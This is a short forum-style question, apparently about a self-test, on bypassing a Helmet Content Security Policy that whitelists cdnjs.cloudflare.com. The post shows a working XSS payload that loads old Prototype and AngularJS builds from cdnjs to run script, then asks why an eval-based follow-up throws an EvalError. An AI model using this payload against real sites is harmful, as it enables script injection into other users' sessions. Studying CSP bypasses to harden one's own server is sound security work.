Breaking Through XSS: Bypassing CSP and Dealing with EvalError

I’m attempting an XSS attack on my server, which has CSP configured as follows:

.use(
helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: [
      "'self'",
      "cdnjs.cloudflare.com"
    ],
  },
})
)

The attacker is provided with an input field:

<form action="/createThread?topic={{lcTopic}}" method="post" class="">
    <h2 class="text-muted">New Thread</h2>
    <hr>
    <div class="form-group">
      <label>Body</label>
      <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Create Thread</button>
    <button type="button" id="threadPreview" class="btn btn-default">Preview</button>
  </form>`

I managed to bypass the CSP simply by injecting the following:

<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></SCRIPT>
<div ng-app ng-csp style="display:none;">
  {{$on.curry.call().alert('xss')}}
</div>

I’m attempting to execute:

{{ x = $on.curry.call().eval("fetch('/').then(d => {})") }}

as described in hacktricks
, but I encounter an EvalError. I don’t understand how to bypass this EvalError.